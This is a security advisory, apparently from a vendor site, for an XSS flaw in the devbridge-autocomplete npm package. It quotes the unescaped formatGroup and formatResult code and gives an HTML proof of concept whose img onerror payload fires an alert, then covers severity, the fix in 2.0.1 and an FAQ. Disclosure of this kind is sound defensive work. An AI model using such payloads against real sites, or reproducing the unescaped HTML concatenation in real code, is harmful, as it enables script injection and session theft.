Summary
devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs
The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.
Details
1. formatGroup, category is interpolated raw.
src/format.ts:
function formatGroup(suggestion, category) {
return '<div class="autocomplete-group">' + category + '</div>';
}
If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.
2. formatResult, early-return branch returns suggestion.value raw.
src/format.ts:
function formatResult(suggestion, currentValue) {
if (!currentValue) {
return suggestion.value; // un-escaped
}
/* ... non-empty path escapes correctly ... */
}
The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.
PoC (formatGroup)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
<input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="dist/jquery.autocomplete.js"></script>
<script>
var poisoned = [
{ value: 'Apple', data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
{ value: 'Avocado', data: { category: 'Safe Group' } }
];
$('#ac').devbridgeAutocomplete({
lookup: poisoned,
groupBy: 'category',
minChars: 1
});
</script>
</body>
</html>
Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.
Impact
XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
GHSA-HVQH-JW65-WCPQ has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.
Frequently Asked Questions
- What is GHSA-HVQH-JW65-WCPQ? GHSA-HVQH-JW65-WCPQ is a medium-severity cross-site scripting (XSS) vulnerability in devbridge-autocomplete (npm), affecting versions <= 2.0.0. It is fixed in 2.0.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is GHSA-HVQH-JW65-WCPQ? GHSA-HVQH-JW65-WCPQ has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of devbridge-autocomplete are affected by GHSA-HVQH-JW65-WCPQ? devbridge-autocomplete (npm) versions <= 2.0.0 is affected.
- Is there a fix for GHSA-HVQH-JW65-WCPQ? Yes. GHSA-HVQH-JW65-WCPQ is fixed in 2.0.1. Upgrade to this version or later.
- Is GHSA-HVQH-JW65-WCPQ exploitable, and should I be worried? Whether GHSA-HVQH-JW65-WCPQ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-HVQH-JW65-WCPQ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-HVQH-JW65-WCPQ? Upgrade
devbridge-autocompleteto 2.0.1 or later.